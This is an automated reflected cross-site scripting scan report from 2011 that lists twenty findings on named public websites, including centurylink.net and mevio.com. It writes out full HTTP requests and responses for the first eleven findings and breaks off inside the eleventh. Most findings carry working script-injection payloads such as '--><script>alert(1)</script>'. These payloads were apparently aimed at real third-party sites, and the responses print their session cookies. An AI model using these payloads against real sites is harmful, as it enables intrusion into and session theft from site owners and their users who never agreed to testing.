XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, 10132011-02

Report generated by XSS.CX at Thu Oct 13 06:59:34 CDT 2011.



Loading

1. Cross-site scripting (reflected)

1.1. http://www.centurylink.net/security/index.php [REST URL parameter 1]

1.2. http://www.centurylink.net/security/index.php [REST URL parameter 1]

1.3. http://www.centurylink.net/security/index.php [REST URL parameter 2]

1.4. http://www.centurylink.net/security/index.php [REST URL parameter 2]

1.5. http://www.centurylink.net/security/index.php [name of an arbitrarily supplied request parameter]

1.6. http://www.centurylink.net/security/index.php [name of an arbitrarily supplied request parameter]

1.7. http://www.centurylink.net/store/cinemanow/genre.php [REST URL parameter 1]

1.8. http://www.centurylink.net/store/cinemanow/genre.php [REST URL parameter 1]

1.9. http://www.centurylink.net/store/cinemanow/genre.php [REST URL parameter 2]

1.10. http://www.centurylink.net/store/cinemanow/genre.php [REST URL parameter 2]

1.11. http://www.mevio.com/signup/ [name of an arbitrarily supplied request parameter]

1.12. http://www.osisoft.com/ [__CALLBACKID parameter]

1.13. http://www.osisoft.com/company/press_releases/Press_Releases_-_Media/OSIsoft_Announces_Its_Selection_as_the_Operational_Data_Management_and_MDUS_for_Consumers_Energy.aspx [__CALLBACKID parameter]

1.14. http://www.centurylink.net/security/index.php [Referer HTTP header]

1.15. http://www.centurylink.net/store/cinemanow/genre.php [Referer HTTP header]

1.16. http://www.inmobi.com/ [Referer HTTP header]

1.17. http://www.inmobi.com/company-news/ [Referer HTTP header]

1.18. http://www.inmobi.com/inmobiblog/ [Referer HTTP header]

1.19. http://www.inmobi.com/press-releases/ [Referer HTTP header]

1.20. http://www.lightreading.com/live/event_information.asp [User-Agent HTTP header]



1. Cross-site scripting (reflected)
There are 20 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.centurylink.net/security/index.php [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.centurylink.net
Path:   /security/index.php

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 907cf--><script>alert(1)</script>fe93f8434bc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /security907cf--><script>alert(1)</script>fe93f8434bc/index.php HTTP/1.1
Host: www.centurylink.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 13 Oct 2011 11:22:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: temporalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTc1; path=/; domain=.centurylink.net
Set-Cookie: eternalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTc1; expires=Sat, 12-Oct-2013 11:22:55 GMT; path=/; domain=.centurylink.net
Set-Cookie: session=76788ba3318494b321805b1e5307683f3425e6e9-1318504975; expires=Fri, 12-Oct-2012 11:22:55 GMT; path=/; domain=.centurylink.net
Set-Cookie: synmaxymizer3=1; expires=Thu, 20-Oct-2011 11:22:55 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_0=%7B%22emerald_livefeedback0ctl_referring_url%22%3A%5B1381576975%2Cnull%5D%7D; expires=Sun, 13-Oct-2013 11:22:55 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_1=deleted; expires=Wed, 13-Oct-2010 11:22:54 GMT; path=/; domain=.centurylink.net
P3P: CP="ALL DSP COR TAIa PSAa PSDa IVAa IVDa CONi OUR IND UNI"
Content-Length: 42986
X-Varnish: 3874663031
Age: 0
Via: 1.1 varnish

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Home-CenturyLink&
...[SNIP]...
<!-- 0 :: /security907cf--><script>alert(1)</script>fe93f8434bc/index.php :: columns[yes] :: mode[w] -->
...[SNIP]...

1.2. http://www.centurylink.net/security/index.php [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.centurylink.net
Path:   /security/index.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2095d"><a>35605c2a4e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /security2095d"><a>35605c2a4e/index.php HTTP/1.1
Host: www.centurylink.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 13 Oct 2011 11:22:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: temporalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTYy; path=/; domain=.centurylink.net
Set-Cookie: eternalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTYy; expires=Sat, 12-Oct-2013 11:22:42 GMT; path=/; domain=.centurylink.net
Set-Cookie: session=075e657482c08d51b950dc3dc818add57fbf2e6e-1318504962; expires=Fri, 12-Oct-2012 11:22:42 GMT; path=/; domain=.centurylink.net
Set-Cookie: synmaxymizer3=1; expires=Thu, 20-Oct-2011 11:22:42 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_0=%7B%22emerald_livefeedback0ctl_referring_url%22%3A%5B1381576962%2Cnull%5D%7D; expires=Sun, 13-Oct-2013 11:22:42 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_1=deleted; expires=Wed, 13-Oct-2010 11:22:41 GMT; path=/; domain=.centurylink.net
P3P: CP="ALL DSP COR TAIa PSAa PSDa IVAa IVDa CONi OUR IND UNI"
Content-Length: 42865
X-Varnish: 1738256514
Age: 0
Via: 1.1 varnish

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Home-CenturyLink&
...[SNIP]...
<div id="body_col" class="page_security2095d"><a>35605c2a4e_index_php">
...[SNIP]...

1.3. http://www.centurylink.net/security/index.php [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.centurylink.net
Path:   /security/index.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5b28"><a>c0561dc21d1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /security/index.phpc5b28"><a>c0561dc21d1 HTTP/1.1
Host: www.centurylink.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 13 Oct 2011 11:22:56 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: temporalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTc2; path=/; domain=.centurylink.net
Set-Cookie: eternalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTc2; expires=Sat, 12-Oct-2013 11:22:56 GMT; path=/; domain=.centurylink.net
Set-Cookie: session=a1ef7ffe5330362b636df7bed30bab1cd25cb157-1318504976; expires=Fri, 12-Oct-2012 11:22:56 GMT; path=/; domain=.centurylink.net
Set-Cookie: synmaxymizer3=1; expires=Thu, 20-Oct-2011 11:22:56 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_0=%7B%22emerald_livefeedback0ctl_referring_url%22%3A%5B1381576976%2Cnull%5D%7D; expires=Sun, 13-Oct-2013 11:22:56 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_1=deleted; expires=Wed, 13-Oct-2010 11:22:55 GMT; path=/; domain=.centurylink.net
P3P: CP="ALL DSP COR TAIa PSAa PSDa IVAa IVDa CONi OUR IND UNI"
Content-Length: 42863
X-Varnish: 3874663490
Age: 0
Via: 1.1 varnish

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>CenturyLink&trade
...[SNIP]...
<div id="body_col" class="page_security_index_phpc5b28"><a>c0561dc21d1">
...[SNIP]...

1.4. http://www.centurylink.net/security/index.php [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.centurylink.net
Path:   /security/index.php

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 1424c--><script>alert(1)</script>155461284e9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /security/index.php1424c--><script>alert(1)</script>155461284e9 HTTP/1.1
Host: www.centurylink.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 13 Oct 2011 11:23:04 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: temporalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTgz; path=/; domain=.centurylink.net
Set-Cookie: eternalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTgz; expires=Sat, 12-Oct-2013 11:23:03 GMT; path=/; domain=.centurylink.net
Set-Cookie: session=a2cb5f029b4f955e5c30553e225cd4254a0b6f88-1318504983; expires=Fri, 12-Oct-2012 11:23:03 GMT; path=/; domain=.centurylink.net
Set-Cookie: synmaxymizer3=1; expires=Thu, 20-Oct-2011 11:23:03 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_0=%7B%22emerald_livefeedback0ctl_referring_url%22%3A%5B1381576983%2Cnull%5D%7D; expires=Sun, 13-Oct-2013 11:23:03 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_1=deleted; expires=Wed, 13-Oct-2010 11:23:02 GMT; path=/; domain=.centurylink.net
P3P: CP="ALL DSP COR TAIa PSAa PSDa IVAa IVDa CONi OUR IND UNI"
Content-Length: 42970
X-Varnish: 3874667858
Age: 0
Via: 1.1 varnish

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>CenturyLink&trade
...[SNIP]...
<!-- 0 :: /security/index.php1424c--><script>alert(1)</script>155461284e9 :: columns[yes] :: mode[w] -->
...[SNIP]...

1.5. http://www.centurylink.net/security/index.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.centurylink.net
Path:   /security/index.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e0de9"><a>d5553fb6d6d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /security/index.php/e0de9"><a>d5553fb6d6d HTTP/1.1
Host: www.centurylink.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 13 Oct 2011 11:22:27 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: temporalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTQ3; path=/; domain=.centurylink.net
Set-Cookie: eternalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTQ3; expires=Sat, 12-Oct-2013 11:22:27 GMT; path=/; domain=.centurylink.net
Set-Cookie: session=b42cbec568ac364cd9d68f4655fc7a4e9cad4911-1318504947; expires=Fri, 12-Oct-2012 11:22:27 GMT; path=/; domain=.centurylink.net
Set-Cookie: synmaxymizer3=1; expires=Thu, 20-Oct-2011 11:22:27 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_0=%7B%22emerald_livefeedback0ctl_referring_url%22%3A%5B1381576947%2Cnull%5D%7D; expires=Sun, 13-Oct-2013 11:22:27 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_1=deleted; expires=Wed, 13-Oct-2010 11:22:26 GMT; path=/; domain=.centurylink.net
P3P: CP="ALL DSP COR TAIa PSAa PSDa IVAa IVDa CONi OUR IND UNI"
Content-Length: 42872
X-Varnish: 1873750769
Age: 0
Via: 1.1 varnish

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>CenturyLink&trade
...[SNIP]...
<div id="body_col" class="page_security_index_php_e0de9"><a>d5553fb6d6d">
...[SNIP]...

1.6. http://www.centurylink.net/security/index.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.centurylink.net
Path:   /security/index.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload f817f--><script>alert(1)</script>67035ccecaf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /security/index.php/f817f--><script>alert(1)</script>67035ccecaf HTTP/1.1
Host: www.centurylink.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 13 Oct 2011 11:22:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: temporalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTU2; path=/; domain=.centurylink.net
Set-Cookie: eternalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTU2; expires=Sat, 12-Oct-2013 11:22:36 GMT; path=/; domain=.centurylink.net
Set-Cookie: session=d9eae1cbd61dee1773dc1b3e6da75b83ccf97466-1318504956; expires=Fri, 12-Oct-2012 11:22:36 GMT; path=/; domain=.centurylink.net
Set-Cookie: synmaxymizer3=1; expires=Thu, 20-Oct-2011 11:22:36 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_0=%7B%22emerald_livefeedback0ctl_referring_url%22%3A%5B1381576956%2Cnull%5D%7D; expires=Sun, 13-Oct-2013 11:22:36 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_1=deleted; expires=Wed, 13-Oct-2010 11:22:35 GMT; path=/; domain=.centurylink.net
P3P: CP="ALL DSP COR TAIa PSAa PSDa IVAa IVDa CONi OUR IND UNI"
Content-Length: 42980
X-Varnish: 1873755556
Age: 0
Via: 1.1 varnish

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>CenturyLink&trade
...[SNIP]...
<!-- 0 :: /security/index.php/f817f--><script>alert(1)</script>67035ccecaf :: columns[yes] :: mode[w] -->
...[SNIP]...

1.7. http://www.centurylink.net/store/cinemanow/genre.php [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.centurylink.net
Path:   /store/cinemanow/genre.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8b61"><a>1c253920fb8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /storec8b61"><a>1c253920fb8/cinemanow/genre.php HTTP/1.1
Host: www.centurylink.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 13 Oct 2011 11:22:52 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: temporalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTcy; path=/; domain=.centurylink.net
Set-Cookie: eternalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTcy; expires=Sat, 12-Oct-2013 11:22:52 GMT; path=/; domain=.centurylink.net
Set-Cookie: session=6e0f01c14c1347262527abe94f3149b64b910cb0-1318504972; expires=Fri, 12-Oct-2012 11:22:52 GMT; path=/; domain=.centurylink.net
Set-Cookie: synmaxymizer3=1; expires=Thu, 20-Oct-2011 11:22:52 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_0=%7B%22emerald_livefeedback0ctl_referring_url%22%3A%5B1381576972%2Cnull%5D%7D; expires=Sun, 13-Oct-2013 11:22:52 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_1=deleted; expires=Wed, 13-Oct-2010 11:22:51 GMT; path=/; domain=.centurylink.net
P3P: CP="ALL DSP COR TAIa PSAa PSDa IVAa IVDa CONi OUR IND UNI"
Content-Length: 42905
X-Varnish: 1873764309
Age: 0
Via: 1.1 varnish

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Home-CenturyLink&
...[SNIP]...
<div id="body_col" class="page_storec8b61"><a>1c253920fb8_cinemanow_genre_php">
...[SNIP]...

1.8. http://www.centurylink.net/store/cinemanow/genre.php [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.centurylink.net
Path:   /store/cinemanow/genre.php

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 116bb--><script>alert(1)</script>70e49ceb84e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /store116bb--><script>alert(1)</script>70e49ceb84e/cinemanow/genre.php HTTP/1.1
Host: www.centurylink.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 13 Oct 2011 11:23:05 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: temporalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTg0; path=/; domain=.centurylink.net
Set-Cookie: eternalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTg0; expires=Sat, 12-Oct-2013 11:23:04 GMT; path=/; domain=.centurylink.net
Set-Cookie: session=7e042ea3884c8f3befce422427599c808b2e0ba8-1318504984; expires=Fri, 12-Oct-2012 11:23:04 GMT; path=/; domain=.centurylink.net
Set-Cookie: synmaxymizer3=1; expires=Thu, 20-Oct-2011 11:23:04 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_0=%7B%22emerald_livefeedback0ctl_referring_url%22%3A%5B1381576984%2Cnull%5D%7D; expires=Sun, 13-Oct-2013 11:23:04 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_1=deleted; expires=Wed, 13-Oct-2010 11:23:03 GMT; path=/; domain=.centurylink.net
P3P: CP="ALL DSP COR TAIa PSAa PSDa IVAa IVDa CONi OUR IND UNI"
Content-Length: 43019
X-Varnish: 3874668376
Age: 0
Via: 1.1 varnish

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Home-CenturyLink&
...[SNIP]...
<!-- 0 :: /store116bb--><script>alert(1)</script>70e49ceb84e/cinemanow/genre.php :: columns[yes] :: mode[w] -->
...[SNIP]...

1.9. http://www.centurylink.net/store/cinemanow/genre.php [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.centurylink.net
Path:   /store/cinemanow/genre.php

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 6b05b--><script>alert(1)</script>ae6ddddbac2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /store/6b05b--><script>alert(1)</script>ae6ddddbac2/genre.php HTTP/1.1
Host: www.centurylink.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 13 Oct 2011 11:23:16 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: temporalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTk2; path=/; domain=.centurylink.net
Set-Cookie: eternalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTk2; expires=Sat, 12-Oct-2013 11:23:16 GMT; path=/; domain=.centurylink.net
Set-Cookie: session=c1ea08b9add4822ff0332822f57601677c954918-1318504996; expires=Fri, 12-Oct-2012 11:23:16 GMT; path=/; domain=.centurylink.net
Set-Cookie: synmaxymizer3=1; expires=Thu, 20-Oct-2011 11:23:16 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_0=%7B%22emerald_livefeedback0ctl_referring_url%22%3A%5B1381576996%2Cnull%5D%7D; expires=Sun, 13-Oct-2013 11:23:16 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_1=deleted; expires=Wed, 13-Oct-2010 11:23:15 GMT; path=/; domain=.centurylink.net
P3P: CP="ALL DSP COR TAIa PSAa PSDa IVAa IVDa CONi OUR IND UNI"
Content-Length: 42924
X-Varnish: 3874674768
Age: 0
Via: 1.1 varnish

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Home-CenturyLink&
...[SNIP]...
<!-- 0 :: /store/6b05b--><script>alert(1)</script>ae6ddddbac2/genre.php :: columns[yes] :: mode[w] -->
...[SNIP]...

1.10. http://www.centurylink.net/store/cinemanow/genre.php [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.centurylink.net
Path:   /store/cinemanow/genre.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81db2"><a>eea5ecbdcf4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /store/81db2"><a>eea5ecbdcf4/genre.php HTTP/1.1
Host: www.centurylink.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 13 Oct 2011 11:23:08 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: temporalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTg4; path=/; domain=.centurylink.net
Set-Cookie: eternalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTg4; expires=Sat, 12-Oct-2013 11:23:08 GMT; path=/; domain=.centurylink.net
Set-Cookie: session=79116cd9e023b2d137256f6f93ee5be7a690edcf-1318504988; expires=Fri, 12-Oct-2012 11:23:08 GMT; path=/; domain=.centurylink.net
Set-Cookie: synmaxymizer3=1; expires=Thu, 20-Oct-2011 11:23:08 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_0=%7B%22emerald_livefeedback0ctl_referring_url%22%3A%5B1381576988%2Cnull%5D%7D; expires=Sun, 13-Oct-2013 11:23:08 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_1=deleted; expires=Wed, 13-Oct-2010 11:23:07 GMT; path=/; domain=.centurylink.net
P3P: CP="ALL DSP COR TAIa PSAa PSDa IVAa IVDa CONi OUR IND UNI"
Content-Length: 42815
X-Varnish: 1873773028
Age: 0
Via: 1.1 varnish

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Home-CenturyLink&
...[SNIP]...
<div id="body_col" class="page_store_81db2"><a>eea5ecbdcf4_genre_php">
...[SNIP]...

1.11. http://www.mevio.com/signup/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.mevio.com
Path:   /signup/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d3621</script><script>alert(1)</script>46704f1778a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /signup/?d3621</script><script>alert(1)</script>46704f1778a=1 HTTP/1.1
Host: www.mevio.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Host,Accept-Encoding
X-PDN-Server: 127_1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
